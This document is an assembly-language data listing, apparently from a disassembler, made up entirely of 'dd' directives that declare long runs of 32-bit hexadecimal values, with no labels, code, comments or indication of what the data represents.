dd 88E24F24h, 803A07D4h, 0DE60E78h, 5F7FE95Dh, 0F0B14973h
dd 0A8F960ABh, 5824C4EBh, 0F98139CBh, 304F311Fh, 73B6BD2Eh
dd 12BE4C3Ch, 52E2400Ah, 77E75C70h, 3236AC5Fh, 0DE2DC8F9h
dd 5DB90073h, 41597F1Fh, 0BE1789Fh, 0A680E0A7h, 83A42178h
dd 4242B9Fh, 0F2AE5505h, 0A5C6131Fh, 5601BD29h, 1CAC5348h
dd 68500251h, 9E7511F7h, 0B6584AF7h, 0E9F01EE9h, 83BE032Eh
dd 726E1D68h, 0AAB3D96Dh, 5E575C02h, 3879F91Bh, 60282F88h
dd 51C380FAh, 0C4D38499h
dd 0E78E87AAh, 0E4CCECF3h, 61DA9841h, 0D07AF546h, 0EE404835h
dd 6D59602Ch, 0C4D117BFh, 0D9C420A8h, 57D9BA42h, 44965839h
dd 145644BAh, 173C2CF1h, 0A5BE8426h, 28378526h, 0C3CCAB1Ch
dd 86D4A158h, 5CE1A620h, 4A1870F7h, 4DBB3E09h, 60D70A1Eh
dd 0E870CF89h, 2F4CDB11h, 2A7E668Ch, 4E08EF14h, 0CB5037ABh
dd 1C839EFFh, 257459E9h, 34A94EFDh, 0BAFF2F53h, 46C2C0Bh
dd 2C073017h, 4D803E2h, 0D2D567A7h, 44513739h, 469DBA1h
dd 0EB162CEBh, 51F5F644h, 97CD31EBh, 0CC2B8819h, 0B2F72D07h
dd 0E35157B2h, 0E9830A53h, 84F47876h, 0C407EB80h, 0ABFD57D6h
dd 5932F944h, 3557D7C5h, 43D368B2h, 0D7768AEh, 54259B2Dh
dd 544E6A30h, 0F19DE5E0h, 0B75360C3h, 0FA4C880Eh, 78F0CE3Bh
dd 95DCF622h, 0D1974A64h, 79FCA5BAh, 304A8961h, 0E9535A40h
dd 3296F377h, 0AF1015Eh, 3A75E71Eh, 1D8205FFh, 9A8A888h
dd 0E3DF5759h, 0EB39D816h, 0F746003Ch, 79BB53D6h, 26120E0Ah
dd 2CFCE3C1h, 584DE81Fh, 71E20C1Fh, 60EA2D2Fh, 0B6ADE926h
dd 0FE280C64h, 0E3F70D10h, 50B2EECCh, 972E2AC4h, 97880AB6h
dd 970F05Dh, 0F51C472Ah, 6A70E2FEh, 17597BBFh, 5B544CA7h
dd 761425A6h, 9896C4Fh, 0F59F0864h, 2CC03FE1h, 76164E71h
dd 841E2009h, 0F6AEBDE3h, 64FA5B09h, 0B161B8DEh, 518041E9h
dd 0F65BF57h, 79D7E5Dh, 0B7F34678h, 0D76F3B4Bh, 216E2293h
dd 331D7165h, 135B7E83h, 0ED961DB2h, 9BF98501h, 0CAABA653h
dd 71449B9h, 92EE80ADh, 17D2F004h, 0B74958C0h, 486C8840h
dd 0EC754D20h, 3A5F0579h, 0BDAC78E9h, 0D1F1705Ch, 0E181002Dh
dd 4409170Fh, 0F805E15Eh, 649F3861h, 6CC3F44Ch, 9F782C5Dh
dd 1389998h, 0CBBF4E70h, 0D57517FDh, 630B29FEh, 505B801Fh
dd 9F0FE952h, 0DBDFAEE2h, 4C8A00D2h, 0D9012345h, 33080782h
dd 5B598F9Ah, 2E79E96Fh, 0E71A8C55h, 0D2A45C0Ch, 31C16777h
dd 3B4E6858h, 4D7215A5h, 0B8751C84h, 1FA9D4CBh, 5513103Ch
dd 0CA2FC0EEh, 0E658C14Eh, 74681222h, 30E1C8ACh, 908D7AF0h
dd 6CF1B88Bh, 989D313Ch, 0B2D468CCh, 8496C90Eh, 18C7AD20h
dd 0E902BDEh, 0E816D84Ah, 0E468FEB6h, 0F7C10D5h, 425C680h
dd 8ED38836h, 0A97BF9FBh, 5A62F26Eh, 515EAD46h, 30D01CF0h
dd 2346606h, 0D573AC2Bh, 29D4405Dh, 283DB3F1h, 142EEA9Bh
dd 0F7471E97h, 8D87729h, 21095505h, 0BBB7BF8h, 0FD4CAE94h
dd 0BF4023B9h, 5B4E066Ch, 0BFCBC17h, 0D4116847h, 6D6A8932h
dd 3DA3D35Fh, 92FB3CAEh, 0C365FB5Ch, 4F70A2FFh, 55C085BCh
dd 612E30BDh, 0D5F73614h, 6217A043h, 3BD8953Ah, 2E024400h
dd 0E9FD0914h, 9FF99221h, 0C7D1EE93h, 0EAAC5031h, 534C47B4h
dd 0C22F2D23h, 6F765F51h, 2DC9D8FAh, 0CF44C311h, 0A61AFE9Fh
dd 73280867h, 52FA2D17h, 53A4BA8Eh, 881813B6h, 0F910FBF5h
dd 5B21942Dh, 0E9BAD784h, 0D55DA2A3h, 5FE52A59h, 8B409ECh
dd 243C5D58h, 0F55A84D8h, 4FB0284h, 0EF8BCB88h, 0A31FEA5Ah
dd 0C0FED8C7h, 2F27754Bh, 288C8D53h, 0D50510FDh, 2A202D58h
dd 0B9658BDh, 5EFD40BEh, 853A8F7h, 482F552Bh, 813F45D1h
dd 2E29D95Dh, 0D5CA4C12h, 4F76D650h, 0ED8CD02Eh, 38907FEEh
dd 12237895h, 60267968h, 0AA186014h, 7BF24950h, 46B03E1Dh
dd 0A517E78Fh, 3582452Ah, 0C7C3DE0Dh, 5F18C898h, 2E728362h
dd 2AC36E7Dh, 686609ECh, 4C571D23h, 0FF7665D6h, 2D4FA2Dh
dd 0B758AABh, 64256368h, 59542F3Ch, 40E79A5Dh, 0E5064861h
dd 0C52F2B21h, 9008BDD5h, 71A017DDh, 7E3CCBABh, 260DD528h
dd 0A91ABB0Fh, 79A26416h, 6E08BF00h, 0C4B72CEAh, 0AB214E96h
dd 25FE010Fh, 0C7BBD476h, 0C6C4A996h, 56C0865Fh, 7E88F704h
dd 0E5283EC5h, 276E7F1Ch, 40A436D5h, 5521E214h, 3B189ABDh
dd 932B68FFh, 77853E55h, 902C6497h, 5F0A0FC4h, 0BF2C6A0h
dd 2CE90DC6h, 0F0283BCFh, 45A3307h, 0DEF87763h, 0E808E985h
dd 0B5B21D44h, 0FACD4CCBh, 388873F9h, 0E11212F4h, 0E04BE58h
dd 8DB20291h, 9D3B8B16h, 6BB22AD8h, 0B40BBD6h, 3D3BB3EFh
dd 0BF7EC6Eh, 0B58C3586h, 59E957C0h, 0AC7C6367h, 87B4BB65h
dd 0C77612C5h, 0B690537h, 0FDE2FA56h, 88DA072Fh, 2E1AE255h
dd 0F1AC01BAh, 60AA6DD0h, 89BF881Fh, 6253DDE3h, 0CBC88A16h
dd 4B29FE51h, 0B4A68870h, 5C19E8F9h, 17B00AA8h, 34E8D002h
dd 0C80AE901h, 91A353Dh, 215BCA71h, 0ED04AFF8h, 0F525FDBh
dd 5F3F12ABh, 105483D0h, 0C016802h, 637B16E9h, 0CA20E801h
dd 0FC3C5AB8h, 0D001B12Eh, 0F127D132h, 0D155A142h, 806842CDh
dd 5985FFCAh, 0BBA7EE30h, 2F43C710h, 727E7429h, 89F35340h
dd 0A4345181h, 0B708178Fh, 812CEE09h, 0E90FA0EAh, 0C2D14984h
dd 0FBB60F16h, 4A3B6A98h, 799CFF31h, 0B3305B88h, 0F4914B20h
dd 9534992Dh, 0BD284060h, 9732AA09h, 8F7A24Fh, 0DB90625Dh
dd 0C27F25AAh, 0FE26CA60h, 0F64B531Ch, 409816A4h, 759FADFDh
dd 0CE357190h, 0C3E3DC9Dh, 0FAEDB5E9h, 0B2133CE7h, 6D31EE70h
dd 1E5C280Ah, 3BE14103h, 0AC7FEC99h, 27F0105Fh, 0EA716813h
dd 0B53823E3h, 812D6604h, 3CEF9EBh, 25E9F329h, 573412ECh
dd 0ABFD0150h, 0DA7B712Fh, 98147861h, 82AC4346h, 0CA3E3EFCh
dd 0ED696F17h, 9DAD5BE0h, 0AB4D5384h, 4AF40D2Dh, 22FEB7B4h
dd 35A5C58h, 0E920F780h, 26709DF4h, 87270A98h, 8B415139h
dd 0B3744E7Ch, 0DE69E062h, 97EB978Fh, 0AB14F457h, 0C0B294BCh
dd 0BF07FEDCh, 69E7395Dh, 0FD31ADA2h, 587E9F1h, 10D25A9Ah
dd 1CDE66Dh, 0B9515E54h, 30B03383h, 1059FEE4h, 80D204D9h
dd 0BDBE7EEAh, 82BA4BB4h, 0C9AF2740h, 837EC285h, 0A3D93571h
dd 0B9EC2B8Ch, 523DA99h, 4A7BC0F1h, 94CE4C3Fh, 64289059h
dd 20874FB0h, 16826854h, 0C0F4DDCBh, 1CABB405h, 0C333EC80h
dd 0E388FDC4h, 3E904C13h, 169C9FFDh, 8607B25Ch, 278D7EE9h
dd 8CFAC681h, 345948A1h, 6458390Ch, 4EAAD67Dh, 0EEF78BC2h
dd 0E557516Ch, 17CBB805h, 0DCFFDA86h, 0A207C368h, 29DD198Ah
dd 3056E921h, 9D9D9C2Fh, 990C3BD2h, 0F115565Dh, 93FAED7Bh
dd 992935B4h, 8E408977h, 25C94477h, 0A2A5A5DBh, 7413E82Ch
dd 560E6E5Ah, 0AADB6F80h, 3580E126h, 208E5653h, 961EC48h
dd 9B33CCBh, 0EEA7BD84h, 503AC459h, 1FCEB960h, 0FA175239h
dd 2E5778A5h, 53EB53CCh, 2F9FA662h, 751EE2BFh, 0F5E9C471h
dd 0FC898CE5h, 9D43E480h, 0C1CD1155h, 124BB96Eh, 663030A8h
dd 2D4B7CBEh, 46E12759h, 0B097A3Ch, 42A5D609h, 100C938h
dd 973081D8h, 2628CAD6h, 2C564F4Dh, 570B3566h, 35A5C678h
dd 1834DB5h, 6C096909h, 0E7076058h, 13FC594Bh, 2B0F1BC6h
dd 1EA3F106h, 0B0C3B21h, 8E1DBCC3h, 528B7D07h, 6A7F53A5h
dd 590807BEh, 1302EEFEh, 4A6DE18Ch, 0A281FD29h, 78403A2Ch
dd 472636EBh, 805A1834h, 0E45331F7h, 87C8BD78h, 0C90481D9h
dd 6CAB5473h, 176E01B8h, 828843A5h, 6FE0291Eh, 61823810h
dd 71DC0F19h, 0A5688089h, 828D074Bh, 1A695D7Ah, 0AE4946C8h
dd 4ED5D853h, 31DA209Dh, 0EC1C9104h, 307B7CCBh, 970C2D84h
dd 3767BC19h, 6E420E24h, 9033400Bh, 12942759h, 509FBDF0h
dd 273979C0h, 0B2F422D2h, 0FA44AC09h, 0C1C8F2B3h, 11CFF56Bh
dd 63E07A13h, 0A5182DDh, 0C0BAC94Fh, 70EB8096h, 99E3483Ah
dd 0E206C775h, 1C980F58h
dd 632E92Eh, 209F3770h, 101B9668h, 49E74658h, 3D862462h
dd 0D750F88Bh, 0CCF85014h, 0C3A5A760h, 1A0E381Dh, 0FACB2932h
dd 391C080Ch, 3347C18h, 375B10Ch, 68591A19h, 872A6C43h
dd 509AC21h, 0DDCAF73Ah, 28456E2h, 5D22A0EFh, 0C6B8502Eh
dd 0A91CD409h, 32C15DC9h, 0C3E47E7Dh, 0B7527B9h, 0C1050C5Ch
dd 0A10208EDh, 42ADA818h, 0E9C6C068h, 20414155h, 96A27BC9h
dd 0D5AFC1D6h, 0F37F7709h, 0C008B437h, 7C5B68C9h, 0E92F4204h
dd 32BA457Ah, 47F8EDE5h, 0B1C5F95h, 2007D29Fh, 54762FE2h
dd 0F14EF92Dh, 0CF56AF7Dh, 57F49D5Eh, 0DC7BE963h, 0D11663B2h
dd 7AAB93E1h, 5E5FD317h, 0F4EDE50Bh, 0FF4928h, 0F6CB0BAEh
dd 0F0BA0164h, 29A0F250h, 3593A6CAh, 67FEB112h, 4B0948A7h
dd 603AF45Eh, 7D2D60A9h, 7BEF0D05h, 80BF7E61h, 31E903AFh
dd 50272EB4h, 0ECF99DE9h, 3E353E4h, 0B207FA5Fh, 8EF2C8C2h
dd 0A7825F33h, 0B3754F67h, 58AFD295h, 1E579F75h, 0B2B0EC94h
dd 0E3C131F2h, 777BD94h, 24480140h, 0EE312C2Bh, 22BF0162h
dd 96024061h, 3DB95138h, 2542DF24h, 29B7815Dh, 443F58C7h
dd 0E33CC0B8h, 8A8148A1h, 0CFBC9F98h, 211E51BCh, 2E08CBF8h
dd 857AF2D4h, 3B8D350h, 16BF10C4h, 9185E891h, 0D15E1093h
dd 2A6768A2h, 51C138ABh, 0E7B3E913h, 55AB21ABh, 6D603B50h
dd 9895D0F7h, 0E6A35A42h, 0F5291328h, 0D96F382Dh, 0B36EB5h
dd 0E9C70B79h, 4304402h, 69A4297Dh, 6227F520h, 9C8F9E5Dh
dd 5E22F509h, 594A4882h, 397882FDh, 60407536h, 0FBC6F44Fh
dd 202CEFC1h, 0BF02E2C7h, 30AC7B21h, 0BB34C857h, 7D9E2C11h
dd 7E9144Dh, 0E05EF05Ah, 0F25AA09Fh, 487227B5h, 0B804AA32h
dd 0FBB2AC42h, 0D95A5D80h, 1F2BF78h, 80550882h, 630F58E8h
dd 0D3012450h, 0FB071340h, 6C88FD2Dh, 0F44010E1h, 0BDF9DDC3h
dd 0A69015E6h, 3B5F4122h, 71F403EBh, 2515B001h, 2A224C68h
dd 0D03675Fh, 4F95D0C6h, 7CF07025h, 1E8FB0BBh, 0A4F114ACh
dd 1062ACB3h, 12B5173Dh, 0F6A001FEh, 2BAC68D5h, 0B383ECE8h
dd 6C17207Eh, 7B0CED80h, 4A463EEBh, 0C12BEC58h, 3F1F6007h
dd 0B74C3AF4h, 661294E5h, 0D351A3BEh, 0B513FC95h, 6B9C2DBAh
dd 7C65ECC0h, 0BD789866h, 5895DFD2h, 8D14270Ch, 0DC918DC9h
dd 0D6FA57E0h, 13082AD0h, 1213685Ah, 0F7C4CFB2h, 0C6A6ACA8h
dd 72C12F82h, 0FAF04BC6h, 0FCBCE0C1h, 929EF87Fh, 0F3D74BD7h
dd 52377659h, 11D18C20h, 682F734Dh, 7DE8C2FEh, 0E904EB53h
dd 0CBEF5B63h, 735B7DA3h, 0E1B952C3h, 7320E70Ch, 0F7B0AA97h
dd 0DD1DA2C0h, 3DF397C0h, 316E863Fh, 27DAEBC1h, 2ADD6E53h
dd 1038F22Bh, 31162AC5h, 4CA5A77Ch, 0AEA11206h, 5017E7AAh
dd 0BA2CECE7h, 9B9FE625h, 164C604h, 80098A1h, 0B69496E9h
dd 0C6229006h, 6F880C86h, 0C8930BD1h, 0F88B0230h, 70F280DAh
dd 0B27595C0h, 93845F8Ch, 0E0BD0F9Bh, 813FC060h, 3DD12E5h
dd 0ED900034h, 8C2BC730h, 5D589FB8h, 97F810DEh, 4CFBAC5Bh
dd 0D06C2CB4h, 76E103C5h, 4CB53A7Bh, 4CF80406h, 37852E1Eh
dd 173D95EEh, 4956BA45h, 0AAFF06BAh, 0C30BB18Dh, 4849E259h
dd 28A0A40Bh, 98C99D2Fh, 2829C9C7h, 0F125BDD2h, 841E7B62h
dd 0FB1EB068h, 6DFAA431h, 15FF5D02h, 42DD261Bh, 5E027BCAh
dd 554F5556h, 8B9B22Dh, 0E04F47A8h, 63521168h, 22A0B869h
dd 0EB3949F0h, 21C39CF6h, 0A810CB1Bh, 0B126B168h, 97372CCCh
dd 5A5ABE2Dh, 3C2BC159h, 0F0B55101h, 282F1EB7h, 13C014EFh
dd 0BA8AE780h, 2AF7A901h, 6E68F828h, 65D0B7A7h, 1017AD2Bh
dd 0E5A96EAh, 56001ABh, 3BEE2355h, 0C7BD67B0h, 375BA54Fh
dd 0ABC89E4h, 0E57CAE4Ah, 0E9F10B21h, 1CF5AC2Fh, 498AFC7Bh
dd 820519BDh, 0C2364220h, 185710D8h, 8033A42Fh, 0BC1E60B8h
dd 5D8866DBh, 91C26CBh, 1BD5E0D5h, 0ACFB9CADh, 2D9C5AFh
dd 0FF04E2BDh, 831B5179h, 0D5AFB1Ah, 0BE9534BEh, 60990288h
dd 3BA58A6h, 692CC105h, 0AF02314Ah, 582D924Eh, 4A5BE4B5h
dd 0CD38AACDh, 681384C6h, 0FC681318h, 767913DAh, 55F60C52h
dd 2C806DE0h, 0B151245Bh, 0F0B008AFh, 8E77E2Fh, 680160C3h
dd 2142593Ch, 60924B20h, 0CFBD2523h, 1D4ADE2Eh, 5C7966B0h
dd 37161660h, 38588969h, 85574D8Bh, 0A3BEEA68h, 78A98BB2h
dd 765EBF36h, 49285079h, 41BF9C4h, 0CBEAD9F7h, 57B3040Ch
dd 81BF1E90h, 55BBBC6Ah, 0FDF4BBEAh, 0E76262DEh, 99FF7F1Fh
dd 5D8B109Fh, 0FFE34E9h, 39B9E281h, 3320678Ah, 58DC0193h
dd 0E9D629BDh, 3F536C64h, 0F9C1275Fh, 0D385086Eh, 5989531Dh
dd 19FBE805h, 29202641h, 8EB94F9h, 3713E90Bh, 896DE5FDh
dd 0F2F26398h, 1F5DEB3Ah, 4D09DF29h, 181F66B7h, 35313D68h
dd 282467Ah, 77271FBh, 0ABA6C447h, 0D025D513h, 132ACBEFh
dd 6E54F92Ch, 0AD6F212Fh, 38204EB1h, 0D6680BFCh, 0D0ACD634h
dd 104CC968h, 2810D307h, 0AC525AC4h, 7CCDAA21h, 0F3F68100h
dd 7FB03E07h, 35D2F701h, 610D80FAh, 0C1700C69h, 527FC062h
dd 18E94230h, 0D95F3B75h, 0C354B22Dh, 7090B480h, 0DA4095CDh
dd 1C0292EDh, 40E911AAh, 0CBA568B8h, 9D5091Bh, 0B71F801h
dd 0DE1D3B60h, 0E7E91858h, 0ABCB932Ah, 20B64D1Dh, 246E39Ch
dd 20C1CAFh, 4F5246B1h, 0F7C8DBF7h, 776EA97Dh, 0E104A00Ch
dd 50DF895Eh, 611A895Bh, 0C2FE6C2Ah, 8857C880h, 88E174BFh
dd 273D7E85h, 0B0C74EBh, 0E183FEBEh, 0A52E44E8h, 9194CEFh
dd 3DF9CB0Fh, 0BB531D80h, 556B7719h, 1CBA5201h, 4A23C97Bh
dd 3E0E0238h, 0F2C040BBh, 277196D5h, 5FB789Fh, 6CE9DD31h
dd 0D6D64B66h, 4CD55E32h, 12E20B65h, 11D55388h, 0B8005E47h
dd 0BE24EE52h, 7F2D9179h, 25FEA89h, 0A320988h, 0CD910378h
dd 52D9AE65h, 0C3178153h, 490276ADh, 3103FA3Ah, 384B08E3h
dd 0A68AB61Ah, 0DA131BAh, 6A71E6E9h, 70EAEC16h, 0C9E9D019h
dd 680FC492h, 62AD51F2h, 90D1895Ah, 81B323B2h, 80509254h
dd 0ED2D9DC0h, 0A0820B0Ah, 2A84C389h, 0AF61AA28h, 37642CFBh
dd 2617C3Bh, 0B220B823h, 0C07D9EA7h, 4EE0C14Fh, 2DD90003h
dd 6B260142h, 62B6E92Dh, 2860499h, 0A6C816D2h, 5A86DDB6h
dd 0BB0E825Fh, 37DBF075h, 7B1ADE29h, 6AA983C3h, 0EB1D341Bh
dd 3C4169F8h, 2C68A324h, 0CF5C7D36h, 0BA9C5356h, 582418F3h
dd 7793BE76h, 0E9B3CC28h, 8C54B26h, 5A8E33A7h, 0B19EBCA2h
dd 8E6A3C73h, 948659A9h, 3CE41C07h, 84AB2393h, 0BE081639h
dd 811CEB7Ch, 5C22344Dh, 0D69535AEh, 0D4C95015h, 0CD9030BFh
dd 6859801Ah, 2F5E6E2Ah, 7F67B72Fh, 907826A9h, 6E288D09h
dd 66A10002h, 9055826Fh, 3559099Ah, 0A6004CA5h, 34063C48h
dd 0ACFC909Dh, 80B70153h, 0EFC0D7F6h, 170ABC03h, 0AEF8C5C7h
dd 0BB203B22h, 0ECB1D3E2h, 64B28493h, 0AB051716h, 0ACAACE84h
dd 0DAAEA5FFh, 7D531554h, 52BB006Eh, 0E91DCD76h, 52F94E7Fh
dd 21BCD58Fh, 45CC788h, 920F4ABh, 0DF1C5726h, 0CC4D3710h
dd 47881907h, 1463A2BDh, 397A2AE0h, 0EE465A80h, 0F162954Eh
dd 434F535Fh, 323BA1F3h, 44D1184Fh, 1D26C923h, 846DBB39h
dd 0C656E0F1h, 0F2170C12h, 0FE130713h, 669B06FAh, 0C55BC96Ch
dd 1660EEEh, 0BDDB68DFh, 5E3B2945h, 0F2BEAF85h, 405CA238h
dd 0AC9D4CCDh, 0D8281C24h, 307C9268h, 5037B2B1h, 0D75BE97Ch
dd 0B06074Fh, 0D5696272h
dd 570BD959h, 88907E54h, 35281A4Fh, 3F048309h, 8B80026h
dd 9F01F375h, 0A68BCE89h, 94766DFh, 7817708Ah, 0C10B4056h
dd 0BA850EEh, 0FAFDAF74h, 762D84h, 36BA0C2Dh, 0B4895BAEh
dd 718401ACh, 8D66FF7h, 2250C09Fh, 41E9402Ah, 3EA7A95Ah
dd 0BC69F817h, 67E4E719h, 2792AE8h, 68C828F2h, 90996A6Bh
dd 5418AFB6h, 3BE9C2FFh, 0C002D670h, 0EA8008E2h, 9ABB8272h
dd 2ED80BF9h, 5F7416B5h, 4C41EB74h, 46E52456h, 12A16720h
dd 105416Ch, 97654434h, 0DCB53E45h, 2FB8F0FCh, 37C0D46Ah
dd 54C72672h, 66C0BA5Dh, 7D3104C8h, 6DBE2AEAh, 7BA2E3h
dd 0E9F96CEh, 0F131134Fh, 3EE0AF5Eh, 9B43118Dh, 59074004h
dd 0C5010B8h, 0D89D49DCh, 0A3DD9D3Eh, 0B9E82863h, 8E325C48h
dd 231B4405h, 5A01BB4Dh, 674CB8BFh, 0D731E0h, 8FF7815Ah
dd 97E5661h, 0E95FF905h, 8EEAA753h, 92543F87h, 0B5E20586h
dd 8C223127h, 51561851h, 71BF3F42h, 8462CE6h, 0BB1F0E2Dh
dd 0DD290331h, 69EDDC81h, 20E0F2A1h, 4616EE1Fh, 50BB2E99h
dd 0B65F0873h, 3C87137Ah, 3294F6AEh, 71308310h, 70046B3Ah
dd 3F81AE43h, 29014F28h, 0A1976CF1h, 0FA3B6568h, 755CB71Ah
dd 34C2A959h, 42B5F952h, 0C6F5D168h, 0E9563EB9h, 867AF327h
dd 0B85CF878h, 33AC96B0h, 1334211h, 1A2EE4C3h, 0E82F53A3h
dd 0F709C7C9h, 0E102919Ah, 80428A08h, 0A96A87DEh, 97E91780h
dd 18A3B353h, 0EF55B819h, 921B1664h, 1FC3C403h, 0E53C81ABh
dd 7FEDE947h, 2DAD2504h, 7E6AF1FAh, 0F6D55CD8h, 51025D4h
dd 0E0390BDFh, 976CBBB6h, 0C7F10918h, 0B479FF82h, 32DA6861h
dd 0E90AAB4Bh, 37FABF6h, 665D265Ch, 9B20C04h, 0E9BF9AA3h
dd 0FE279D78h, 58DE08Ah, 450B7D35h, 0F77717E9h, 0C0B0771Ch
dd 88104A62h, 7287DFEFh, 5CD06BFAh, 0B51F5020h, 63559182h
dd 43FEA79Ah, 0DEDF488Bh, 903D650Dh, 0BF575AE6h, 0A363740Bh
dd 5381571Eh, 702FE181h, 0EFB03F15h, 0F83CE265h, 895A8F00h
dd 411BE9CDh, 0F0A96F1Ah, 22EF2613h, 0F85876DFh, 1CFB6813h
dd 0B1517730h, 27B60A79h, 3B778CE9h, 0E913FF4Bh, 760A5DC2h
dd 0EE5213E2h, 5A9C418Ch, 44B333E0h, 0A622BEDDh, 10D877C1h
dd 2634DB9Dh, 0DB01DCBh, 7E265490h, 0E03B8FA5h, 89416499h
dd 16613820h, 0B88B412Ch, 29F73A1h, 0B580329h, 0B84BE550h
dd 0E1D17281h, 0F562C13Fh, 0BFF9A0DCh, 9278492Eh, 5292FFADh
dd 0D3888681h, 0AC876E8Ah, 85EE7C69h, 0D330D2F6h, 34AD8431h
dd 7ED04D2h, 8839F963h, 65A73E8Bh, 46975F70h, 34EE8414h
dd 0AB2C203Bh, 4119F0F4h, 801D4541h, 0E68865B2h, 97BD585Fh
dd 745D729Ah, 0FA5D1699h, 0D1A32B31h, 13B6D648h, 0F17C48D3h
dd 2DBF2B5Ah, 8AF82ECFh, 6482EA9h, 9857A7CFh, 0ACFE9D2Fh
dd 4BE625F6h, 1C43F5Ch, 0C9F6A4EAh, 660455B4h, 0E6BAF331h
dd 0D824D972h, 7D33CB3Eh, 0DF9B6839h, 55721FD7h, 0FBC3467Ah
dd 0B00A3070h, 0F4DE5F25h, 689DC629h, 955AD332h, 1DCA2479h
dd 0D961720Ah, 25645DA5h, 95151320h, 6E2D7578h, 301AD286h
dd 0BA0C70FCh, 6DFA0577h, 7C1286BFh, 1F629F0Fh, 26FFD240h
dd 0C93CA09Bh, 0B1528B94h, 0B634CFB2h, 42370BBAh, 0F6765A2Ah
dd 2949081Dh, 0DE6CAB44h, 0C581890Ah, 82FEE2F7h, 0A3AA7F0Fh
dd 12C3012Dh, 0A88289DAh, 25558F0Fh, 54D090D0h, 2E37A768h
dd 86580F75h, 0B6FB09FEh, 26914E4Fh, 0B49551EAh, 9D79AA53h
dd 8051B05Dh, 2920B714h, 66F3430Dh, 3F0F995h, 48974682h
dd 6987CEF8h, 510293Bh, 0BF6F83EEh, 2605B5A8h, 0AF56906Ah
dd 8C1440Ah, 2F495C27h, 0FBF5B53Ah, 685A82ACh, 0A3A276ACh
dd 8C56AF46h, 1B0B97E2h, 2E48C2C1h, 0E1A9BE49h, 0E77F8790h
dd 6F2F7E95h, 69A9D461h, 0A60BAF5Dh, 61BCA04h, 0AC30F7F6h
dd 0E6010C6Eh, 0E9129C56h, 787675E5h, 0ABC40492h, 91AA13F5h
dd 72C68324h, 1ECD1275h, 0CC3E1C61h, 7B2CF73Bh, 0D1C3152Fh
dd 0FD0AC4Eh, 41366E2h, 37567A72h, 80D4B590h, 0AB7F4BEDh
dd 9446B952h, 0D40FE2C8h, 4416278Ah, 924A61D8h, 0DE312B70h
dd 205D273h, 0BD38A361h, 0F20580FDh, 257D1785h, 500892Dh
dd 317BF8E7h, 0A2DF4B0h, 52B95EE1h, 7B7405Dh, 35700D62h
dd 600B03BBh, 19BD54A9h, 1B545847h, 0C8CAA10Bh, 82D6CC82h
dd 3C79E0F5h, 0B8514A68h, 27D482D0h, 0E94F4008h, 207AED5Bh
dd 9B39CE2Dh, 65A2E68h, 0AA2D5A04h, 5014B9FCh, 888F825Fh
dd 0FABB7A58h, 37B26C12h, 93087100h, 5C01C84Dh, 5C2575F3h
dd 7725D8E7h, 0D390569Ch, 2909F30Fh, 4FE2903h, 0BBCD4CA9h
dd 0E8A11642h, 0EFABEA7h, 4E4DE76Bh, 5E154632h, 0F505D1DEh
dd 4B6E8DCEh, 442612BFh, 0A864725Ch, 8FC285B6h, 0B2524ED0h
dd 20EF9041h, 0D89F9998h, 8F391ACh, 2E3A4D01h, 0AE01F7C7h
dd 58277418h, 0F72EA87Ah, 84DE7CC9h, 98D44CE9h, 4D4B6019h
dd 0F59129EEh, 58D574AAh, 4D173CB1h, 0BD6BE3E1h, 8B12D610h
dd 0B14B92B2h, 0C859012Dh, 0E763958Eh, 0FFE74A9Ah, 1764E94Eh
dd 9DEFD2C0h, 25617B02h, 0C3106E3Ah, 0ED2F07E7h, 0C72B302Ch
dd 0CE20B7A4h, 0AA35DCE8h, 9E274B5h, 0E0300851h, 7BE14299h
dd 7A651BCh, 3F82C483h, 99BE2904h, 0BCA52ECDh, 92BA0804h
dd 0E44159E1h, 6B312EC2h, 983F5A49h, 40F6F1D3h, 0D4273194h
dd 57C6EB94h, 84FEC6D3h, 0B6D1EE3Dh, 6A06459Bh, 45B78433h
dd 0DC54EAEBh, 0F9880453h, 6FA8EE50h, 695C5827h, 0B5E4BF58h
dd 0F3B0339Eh, 0FFA72AE9h, 162CAA4Bh, 5EF52568h, 0B58CA3D1h
dd 0CF65B6Ah, 5F12DF4h, 2F00E80Ch, 0F2310DD5h, 5BEAC15Eh
dd 0C5CFE804h, 0C3E1F8E9h, 0F1EAD97Bh, 5AA43AD7h, 1A5C1CEBh
dd 7A70A7CEh, 7B2C2A2Fh, 0BC29FCEh, 0D1E8403Ch, 913EA0Dh
dd 0C4B93158h, 6B628EC9h, 0A5C7EDD7h, 480C80DCh, 15035118h
dd 0AA117679h, 1B2DDE4Ch, 1455D842h, 1F4CB746h, 183F40F8h
dd 5029A0DCh, 0B05908EEh, 84055BF0h, 858EC1CBh, 0CB2D2A1Eh
dd 5E74A33Ah, 977025FCh, 0A5F61DFDh, 57AA15Eh, 0AED29AFBh
dd 7178D505h, 0E8978490h, 5E9CE9D3h, 859BF2E7h, 0CF2018D5h
dd 5A5BFEDEh, 41371E8Ah, 1479FDC2h, 0FC457020h, 2DCE391Fh
dd 0D1CF2DAh, 14041C08h, 2D5B9C7h, 53B194C1h, 0D66AA23Ah
dd 0C56CF706h, 19F30B8Dh, 0F0024E29h, 5D05BC79h, 571008C1h
dd 5C4CF7Fh, 33E7F14h, 4EF7B0BEh, 0D7FF6F27h, 80805A6Ch
dd 152C18CAh, 99059B50h, 0ECF87A61h, 34552300h, 0E9D7F757h
dd 8C05D44Bh, 25B8CC88h, 0DA2F523Bh, 343BF644h, 4D0698DFh
dd 12CCB8C5h, 0B835296Dh, 0A37726EAh, 0DD4CF5A5h, 0F90F9A2Dh
dd 1A9B8183h, 0F8487572h, 1DD4DFF5h, 0F8A751F4h, 144AA550h
dd 0CB0601F9h, 0D84E5679h, 5F15F305h, 43827F8Fh, 1BF5C5Bh
dd 256021ECh, 2211EDE9h, 0EDCD6FBh, 83E79757h, 0F62B9D09h
dd 0CEB860D3h, 130A8023h, 0D7F47BE9h, 6862C181h, 0C8E011Eh
dd 3DA5114Bh, 5E6BB55h, 0F1E7E985h, 3EB026Ch, 0F17743CAh
dd 9DD0C948h, 7533F95Eh, 0C0BEC853h, 27F8B5E3h, 0DBF62C19h
dd 826FB90Ah, 8CD93E49h, 0A24F7ABCh, 5EDFD2E2h, 0BE1A30D6h
dd 60252723h, 0FEBF206h, 0E27A1BC6h, 55A96842h, 0DA5D2890h
dd 8328E795h, 0D8281B2Ch, 58C849C7h, 12BD2E58h, 0A45084DDh
dd 68E2D100h, 18B74C98h, 81037325h, 0B753F804h, 0E7804213h
dd 0F68527BCh, 5E758C4Fh
dd 420CE8F9h, 0C15C209Dh, 17D4C493h, 0A9CA0198h, 0E5A8643h
